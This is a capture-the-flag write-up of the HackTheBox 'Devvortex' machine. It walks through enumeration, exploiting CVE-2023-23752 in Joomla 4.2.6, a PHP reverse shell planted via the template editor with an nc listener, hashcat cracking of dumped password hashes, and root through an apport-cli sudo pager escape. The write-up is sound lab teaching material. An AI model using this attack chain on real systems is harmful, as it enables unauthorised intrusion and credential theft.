Devvortex (machine)
by k0d14k
Hello everyone, today We going to walk through Devvortex.
As ever, first of all, We have to add the provided IP in our /etc/hosts file as devvortex.htb.
The site it's pretty simple and represents a presentation page for devvortex.
Let's start with the fingerprinting phase to get some useful information (We Hope).
My first try was with gobuster in dir and vhost mode.
Unfortunately, We don't have any information about the programming language used to create the page so We can use a generic directory listing wordlist from SecList.
Gobuster dir results
gobuster dir -u http://devvortex.htb -w directory-list-2.3-small.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://devvortex.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
/css (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
/js (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
In dir mode we don't have any useful information.
Gobuster vhost results
gobuster vhost -u devvortex.htb -w subdomains-top1million-110000.txt -t 100 --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://devvortex.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.devvortex.htb Status: 200 [Size: 23221]
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================
The vhost mode reveals the existence of a subdomain, so let's add this subdomain in our /etc/hosts file with the same IP as the first one and perform the same analysis.
DEV.DEVVORTEX.HTB
In the new subdomain Wappalizer reveals that this site is written using PHP. Let's run gobuster as before.
Gobuster dir results
gobuster dir -u http://dev.devvortex.htb -w directory-list-2.3-small.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.devvortex.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/media (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/templates (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/modules (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/home (Status: 200) [Size: 23221]
/plugins (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
/includes (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/]
/language (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/]
/components (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/]
/api (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
/cache (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/]
/libraries (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/]
/tmp (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
/layouts (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/]
/administrator (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/]
/cli (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cli/]
This time gobuster provides some useful endpoints to visit. Starting from /administrator:
We are in a Joomla instance and it means that We can use joomscan. Joomscan is a useful tool for joomla enumeration available in Kali Linux and I ever run it in this cases (It rarely fails in my analysis).
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://dev.devvortex.htb ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 4.2.6
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Full Path Disclosure (FPD)
[++] Full Path Disclosure (FPD) in 'http://dev.devvortex.htb/index.php?option=com_jotloader§ion[]=' :
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://dev.devvortex.htb/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://dev.devvortex.htb/robots.txt
Interesting path found from robots.txt
http://dev.devvortex.htb/joomla/administrator/
http://dev.devvortex.htb/administrator/
http://dev.devvortex.htb/api/
http://dev.devvortex.htb/bin/
http://dev.devvortex.htb/cache/
http://dev.devvortex.htb/cli/
http://dev.devvortex.htb/components/
http://dev.devvortex.htb/includes/
http://dev.devvortex.htb/installation/
http://dev.devvortex.htb/language/
http://dev.devvortex.htb/layouts/
http://dev.devvortex.htb/libraries/
http://dev.devvortex.htb/logs/
http://dev.devvortex.htb/modules/
http://dev.devvortex.htb/plugins/
http://dev.devvortex.htb/tmp/
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/dev.devvortex.htb/
We are running a joomla 4.2.6 instance, after some Google search I notice that a version before 4.2.8 is vulnerable to CVE-2023-23752. This GitHub repository provides a Ruby script to exploit the CVE.
ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: ****************************
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
The exploit finds two user and the login password for the user lewis, so let's loggin into the joomla dashboard.
Very well, lewis is the admin. So, considering that the site is written in PHP and lewis is an admin, We can simply create a new file uploading a PH reverse shell (I prefere the pentest-monkey one)
If you don't know how to create a new page in joomla, this is pretty simple, you must go in Sistem > Site Templates and after you choose the admin's site, you create a new file from the button.
To avoid other user to find my file I will name it using an UUID.
Remember, to get a reverse shell you must be connected to the HackTheBox VPN (OR JUST USE YOUR PUBLIC IP BUT CAN BE A BAD IDEA) and with a opened tcp listener (nc -nvlp [port]).
In the Pentest-Monkey reverse shell script you must insert your IP and Port for the connection, I prefere to use the preset port (1234) and provide my IP putting the $_GET["ip"] command in the IP variable.
So let's open our listener with nc -nvlp 1234 and then call our file providing a query parameter ip with our IP And.....
We got a shell.
Privilege Escalation to Root
Now that We have a shell We want to became root user and get the user flag and the root flag.
To do that we have to stabilize our reverse shell and then look in the server to unserdant what is running and with which privileges.
To stabilize the shell We can use python as explained here, then We can run systemctl status to see which services are running.
www-data@devvortex:/$ systemctl status
● devvortex
State: running
Jobs: 0 queued
Failed: 0 units
Since: Fri 2023-12-29 10:44:04 UTC; 2h 27min ago
CGroup: /
├─user.slice
│ └─user-1000.slice
│ ├─user@1000.service
│ │ └─init.scope
│ │ ├─1264 /lib/systemd/systemd --user
│ │ └─1265 (sd-pam)
│ └─session-8.scope
│ ├─1247 sshd: logan [priv]
│ ├─1378 sshd: logan@pts/1
│ ├─1379 -bash
│ ├─2491 sudo /usr/bin/apport-cli -f
│ ├─2492 /usr/bin/python3 /usr/bin/apport-cli -f
│ ├─2582 /bin/sh /usr/bin/sensible-pager
│ ├─2584 pager
│ ├─2585 sh -c /bin/bash -c /bin/bash
│ └─2586 /bin/bash
├─init.scope
│ └─1 /sbin/init maybe-ubiquity
└─system.slice
├─irqbalance.service
│ └─640 /usr/sbin/irqbalance --foreground
├─open-vm-tools.service
│ └─601 /usr/bin/vmtoolsd
├─systemd-udevd.service
│ └─413 /lib/systemd/systemd-udevd
├─cron.service
│ └─875 /usr/sbin/cron -f
├─nginx.service
│ ├─896 nginx: master process /usr/sbin/nginx -g daemon on; master>
│ ├─897 nginx: worker process
│ └─898 nginx: worker process
├─polkit.service
│ └─641 /usr/lib/policykit-1/polkitd --no-debug
├─auditd.service
│ └─569 /sbin/auditd
├─multipathd.service
│ └─541 /sbin/multipathd -d -s
├─accounts-daemon.service
│ └─634 /usr/lib/accountsservice/accounts-daemon
├─ModemManager.service
│ └─699 /usr/sbin/ModemManager
├─systemd-journald.service
│ └─379 /lib/systemd/systemd-journald
├─atd.service
│ └─881 /usr/sbin/atd -f
├─ssh.service
│ └─899 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
├─vgauth.service
│ └─590 /usr/bin/VGAuthService
├─mysql.service
│ └─909 /usr/sbin/mysqld
├─rsyslog.service
│ └─643 /usr/sbin/rsyslogd -n -iNONE
├─systemd-resolved.service
www-data@devvortex:/$
We have a MySQL running service and, If you remember, joomscan has provided us the db credentials for lewis.
www-data@devvortex:/$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 28929
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Taking a look for the databases We notice that there is a joomla database. In this database the sd4fg_users table contains username and password columns:
mysql> select username,password from sd4fg_users;
+--------------+--------------------------------------------------------------+
| username | password |
+--------------+--------------------------------------------------------------+
| lewis | ******************************************** |
| logan | ******************************************** |
+--------------+--------------------------------------------------------------+
2 rows in set (0.00 sec)
mysql>
The password field is hashed, but this is an Easy HackTheBox Machine so We can try to crack it using hashcat.
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy...tkIj12
Time.Started.....: Fri Dec 29 14:33:30 2023 (22 secs)
Time.Estimated...: Fri Dec 29 14:33:52 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 64 H/s (3.77ms) @ Accel:4 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1408/14344384 (0.01%)
Rejected.........: 0/1408 (0.00%)
Restore.Point....: 1392/14344384 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidate.Engine.: Device Generator
Candidates.#1....: moises -> tagged
Hardware.Mon.#1..: Util: 70%
Started: Fri Dec 29 14:33:25 2023
Stopped: Fri Dec 29 14:33:54 2023
Hashcat has successfully cracked the hash using rockyou, but if you try to access logan using ssh it doesn't work.
looking into the /etc/passwd file logan hasn't a ssh shell so We can simply use the su command to switch to logan and then provide our password (provided by hashcat) to get a logan shell.
Logan is able to run apport-cli as sudo user and this is a Privilege escalation vector as explained here.
logan@devvortex:/$ sudo /usr/bin/apport-cli -h
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]
Options:
-h, --help show this help message and exit
-f, --file-bug Start in bug filing mode. Requires --package and an
optional --pid, or just a --pid. If neither is given,
display a list of known symptoms. (Implied if a single
argument is given.)
-w, --window Click a window as a target for filing a problem
report.
-u UPDATE_REPORT, --update-bug=UPDATE_REPORT
Start in bug updating mode. Can take an optional
--package.
-s SYMPTOM, --symptom=SYMPTOM
File a bug report about a symptom. (Implied if symptom
name is given as only argument.)
-p PACKAGE, --package=PACKAGE
Specify package name in --file-bug mode. This is
optional if a --pid is specified. (Implied if package
name is given as only argument.)
-P PID, --pid=PID Specify a running program in --file-bug mode. If this
is specified, the bug report will contain more
information. (Implied if pid is given as only
argument.)
--hanging The provided pid is a hanging application.
-c PATH, --crash-file=PATH
Report the crash from given .apport or .crash file
instead of the pending ones in /var/crash. (Implied if
file is given as only argument.)
--save=PATH In bug filing mode, save the collected information
into a file instead of reporting it. This file can
then be reported later on from a different machine.
--tag=TAG Add an extra tag to the report. Can be specified
multiple times.
-v, --version Print the Apport version number.
Now We need to find a crash file to run the software and get the pager. If you take a look to the apport-cli documentation you can provide a PID. Now We have a solution:
- run ps -aux to get a random PID
- run sudo /usr/bin/apport-cli [PID]
- Wait the software it's ready and then view the report using V
- When the pager it's ready write !/bin/bash
Now We can Easy get the flags.